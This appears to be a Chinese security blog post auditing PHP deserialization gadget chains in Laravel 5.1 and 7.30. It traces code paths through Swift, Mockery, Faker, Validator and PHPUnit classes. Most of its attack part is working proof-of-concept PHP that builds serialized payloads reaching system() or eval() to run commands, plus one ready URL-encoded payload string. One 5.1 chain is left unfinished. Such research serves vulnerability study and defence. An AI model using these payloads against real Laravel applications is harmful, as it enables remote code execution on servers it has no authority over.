laravel5.1反序列化

前言:

没事做,java依赖向搞不定就来审计框架

环境搭建

composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"
#下载的版本应该是 5.4.30的。

laravel5.1分析:

RCE 1

既然是反序列化 直接找__destruct()

KeyCache\DiskKeyCache.php

跟进 

    public function clearAll($nsKey)  //nsKey()数组
    {
        if (array_key_exists($nsKey, $this->_keys)) {         //_keys 中查找nsKey
            foreach ($this->_keys[$nsKey] as $itemKey => $null) {  //遍历nsKey 的值 赋给itemKey  //array["$nsKey"=>Array["$itemKey"=>"value"]]
                $this->clearKey($nsKey, $itemKey);
            }
            if (is_dir($this->_path.'/'.$nsKey)) {
                rmdir($this->_path.'/'.$nsKey);
            }
            unset($this->_keys[$nsKey]);
        }
    }

跟进 clearKey

    public function clearKey($nsKey, $itemKey)
    {
        if ($this->hasKey($nsKey, $itemKey)) {
            $this->_freeHandle($nsKey, $itemKey);
            unlink($this->_path.'/'.$nsKey.'/'.$itemKey);
        }
    }

跟进 hashkey

    public function hasKey($nsKey, $itemKey)
    {
        return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);
    }

这里的 _path 可控

 而这里的$nsKey 和 $itemKey 都是我们的数组只要有值就行了。

return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);

这里进行了一个 字符串拼接,因为path 可控,如果他是一个类,那么会自动触发__toString()方法

触发toString本地测试,会弹出计算器

<?php

class test{
    public  function __toString(){
        system("calc.exe");
        return "test this";
    }
}


$a = new test();
echo "this class a " . $a;

现在要寻找 合适的__toString() 方法

找到 /Mockery/Generator/DefinedTargetClass.php

    public function __toString()
    {
        return $this->getName();
    }

跟进

    public function getName()
    {
        return $this->rfc->getName();
    }

这里的rfc 可控

 如果这个rfc 是一个类 且该类中没有getName 方法 则会自动调用call()方法,就不本地测试了

全局搜索可能可以利用的 __call()

找到 src/Faker/Generator.php  的__call()

    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

因为我们原来的链子是 $this ->rfc ->getName() 触发的 __call 

所以 这里的 $method getName。 $attributes 可控。

跟进format

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

看到危险函数 call_user_func_array  ,跟进getFormatter

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }

这个 $formatters  是可控的 

 现在 $formatters 可控 ,$arguments也可控 ,是不是意味着可以RCE,但是遇到了个问题,造成这个链子的失败:

 这个类中有个__wakeup方法,他把 $formatters 置空了,而反序列化是必须经过wakeup()的,所以这个链子无法利用成功

继续寻找 __call方法:

在 src/Faker/ValidGenerator.php 找到:

public function __call($name, $arguments)
    {
        $i = 0;
        do {
            $res = call_user_func_array(array($this->generator, $name), $arguments);
            $i++;
            if ($i > $this->maxRetries) {
                throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
            }
        } while (!call_user_func($this->validator, $res));

依旧存在危险函数,因为一开始我们的链子断掉了 所以 我们一开始的 链子还是回到一开始的

$this->rfc->getName();

所以这里的 $name = getName,  $this->generator 可控,所以这里的

call_user_func_array(array($this->generator, $name), $arguments)

 就是 可以把generator 看成 一个类 然后 调用他的 $name 方法,因此这里的name 不能是我们控制的值。

关于这个:

if ($i > $this->maxRetries) {
                throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));

应该是maxRetries 有值就可以了吧(猜的

while (!call_user_func($this->validator, $res));

这个  $this->validator 可控,而这里的 $res  是上面的那个语句得到的结果,如果我们能控制 $res 的值,那么就能够 RCE 了!

思路:$res 是 $res = call_user_func_array(array($this->generator, $name), $arguments)得到的,这里是  call_user_func_array( [ $generator,  getName()], $arguments)。 所以我的思路是,把$generator 变成一个类,这样他就会调用__call方法 ,继续利用,可以使$res 成为我们想要的值。

在 src/Faker/DefaultGenerator.php 找到:

public function __call($method, $attributes)
    {
        return $this->default;
    }

这里的default 可控,那么这条链子就通了

poc:

<?php

namespace {

    use \Mockery\Generator\DefinedTargetClass;

    class Swift_KeyCache_DiskKeyCache
    {
        private $_keys = ['snowy' => array('snowy' => 'snowy')];
        private $_path;

        public function __construct()
        {
            $this->_path = new DefinedTargetClass();
        }
    }
    echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache()));
}


namespace Mockery\Generator {

    use Faker\ValidGenerator;

    class DefinedTargetClass
    {

        private $rfc;

        public function __construct()
        {

            $this->rfc = new ValidGenerator();
        }
    }
}

namespace Faker {

    class ValidGenerator
    {

        protected $generator;
        protected $validator;
        protected $maxRetries;

        public function __construct()
        {
            $this->generator = new DefaultGenerator();
            $this->validator = "system";
            $this->maxRetries = 7;
        }
    }

    class DefaultGenerator
    {
        protected $default;

        public function __construct()
        {
            $this->default = "ls";
        }
    }


}
//O%3A27%3A%22Swift_KeyCache_DiskKeyCache%22%3A2%3A%7Bs%3A34%3A%22%00Swift_KeyCache_DiskKeyCache%00_keys%22%3Ba%3A1%3A%7Bs%3A5%3A%22snowy%22%3Ba%3A1%3A%7Bs%3A5%3A%22snowy%22%3Bs%3A5%3A%22snowy%22%3B%7D%7Ds%3A34%3A%22%00Swift_KeyCache_DiskKeyCache%00_path%22%3BO%3A36%3A%22Mockery%5CGenerator%5CDefinedTargetClass%22%3A1%3A%7Bs%3A41%3A%22%00Mockery%5CGenerator%5CDefinedTargetClass%00rfc%22%3BO%3A20%3A%22Faker%5CValidGenerator%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00generator%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A2%3A%22ls%22%3B%7Ds%3A12%3A%22%00%2A%00validator%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00maxRetries%22%3Bi%3A7%3B%7D%7D%7D

RCE 2

继续原来的 toString 方法  还能挖~从这里开始~

    public function hasKey($nsKey, $itemKey)
    {
        return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);
    }

继续全局找__toString()

找了有一会

Argument/Token/ObjectStateToken.php

    public function __toString()
    {
        return sprintf('state(%s(), %s)',
            $this->name,
            $this->util->stringify($this->value)
        );
    }

此时 ,$this->util 和 $this->value 可控  一样的  util 如果是类,则调用call ,所以我们还是找call

因为有事 所以待审。。。。

Laravel7.30

RCE 1

Routing/PendingResourceRegistration.php

namespace Illuminate\Routing;
class PendingResourceRegistration{

public function __destruct()
    {
        if (! $this->registered) {
            $this->register();
        }
    }}

跟进register

namespace Illuminate\Routing;
class PendingResourceRegistration{

public function register()
    {
        $this->registered = true;

        return $this->registrar->register(
            $this->name, $this->controller, $this->options
        );
    }
}

熟悉的 $this->registrar->register 格式,registrar 可控,找__call方法

src/Illuminate/Validation/Validator.php

namespace Illuminate\Validation;
class Validator{

public function __call($method, $parameters)
    {
        $rule = Str::snake(substr($method, 8));

        if (isset($this->extensions[$rule])) {
            return $this->callExtension($rule, $parameters);
        }

        throw new BadMethodCallException(sprintf(
            'Method %s::%s does not exist.', static::class, $method
        ));
    }}
$rule = Str::snake(substr($method, 8));

$method = register ,  $parameters = [  $this->name, $this->controller, $this->options  ]

substr(register,8)截取的是空字符 '' 

if (isset($this->extensions[$rule])) {
            return $this->callExtension($rule, $parameters);
        }

extensions 可控: 

进入 callExtension($rule, $parameters)

protected function callExtension($rule, $parameters)
    {
        $callback = $this->extensions[$rule];

        if (is_callable($callback)) {
            return $callback(...array_values($parameters));
        } elseif (is_string($callback)) {
            return $this->callClassBasedExtension($callback, $parameters);
        }
    }

$this->extensions[$rule] =  $this->extensions[‘’]   ,['']就等于 $callback

php在用户自定义函数中支持可变数量的参数列表,包含…的参数,会转换为指定参数变量的一个数组。array_values会返回数组中所有值组成的数组 

因此这里设置 $callback = $this->extensions[''] = call_user_func

传进来的三个参数($parameters)分别设置为:call_user_func、system、命令

所以这里的 $name = call_user_func   , $controller = system , $options = 我们要执行的命令

<?php
namespace Illuminate\Validation{
    class Validator{
        public $extensions = [];
        public function __construct()
        {
        $this ->extensions[''] = 'call_user_func';
        }
    }
}
namespace Illuminate\Routing{
    use  Illuminate\Validation\Validator;
    class PendingResourceRegistration{
        protected  $registrar;
        protected $registered=false;
        protected $name ='call_user_func';
        protected  $controller ='system';
        protected $options ='whoami';

        public  function  __construct()
        {
        $this ->registrar = new Validator();
        }
    }echo urlencode(serialize(new PendingResourceRegistration()));
}

RCE2

回到此处:

namespace Illuminate\Routing;
class PendingResourceRegistration{

public function __destruct()
    {
        if (! $this->registered) {
            $this->register();
        }
    }}
namespace Illuminate\Routing;
class PendingResourceRegistration{

public function register()
    {
        $this->registered = true;

        return $this->registrar->register(
            $this->name, $this->controller, $this->options
        );
    }
}

继续找call方法   Illuminate/View/InvokableComponentVariable.php

namespace Illuminate\View;
    class InvokableComponentVariable{
          public function __call($method, $parameters){
            return $this->__invoke()->{$method}(...$parameters);}
}

这里 的call 方法  传入的 $method 是 register ,$parameters = $this->name, $this->controller, $this->options

跟进第一个__invoke():

namespace Illuminate\View;
public function __invoke()
    {
        return call_user_func($this->callable);
    }
protected $callable;  可控 且可以设置成一个数组,第一个元素为类名,第二个参数为类方法,便能够利用,先找到一个可利用的类

先全局搜索 eval() 函数 

在 \vendor\phpunit\phpunit\src\Framework\MockObject\MockClass.php 找到

 namespace PHPUnit\Framework\MockObject;
class MockClass{

    public function generate(): string
    {
        if (!class_exists($this->mockName, false)) {
            eval($this->classCode);

            call_user_func(
                [
                    $this->mockName,
                    '__phpunit_initConfigurableMethods',
                ],
                ...$this->configurableMethods
            );
        }}

$mockName 可控,設置成一個 不存在的类即可

$classCode 可控 所以可以设置我们要执行的代码

POC:

<?php
namespace PHPUnit\Framework\MockObject{
class MockClass{
    private $mockName;
    private $classCode;
    public  function __construct()
    {
        $this->mockName = "snowy";
        $this->classCode = "system('whoami');";
    }
}}

namespace Illuminate\View {

    use PHPUnit\Framework\MockObject\MockClass;

    class InvokableComponentVariable
    {
        protected $callable ;
        public function __construct(){
            $this ->callable =array(new MockClass(), 'generate');
        }

}
}
namespace Illuminate\Routing {

    use Illuminate\View\InvokableComponentVariable;

    class PendingResourceRegistration{

        protected $registered ;
        protected $registrar ;

        public  function __construct(){
            $this ->registered = false;
            $this ->registrar = new InvokableComponentVariable();
        }
    }
    echo urlencode(serialize(new PendingResourceRegistration()));
}

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值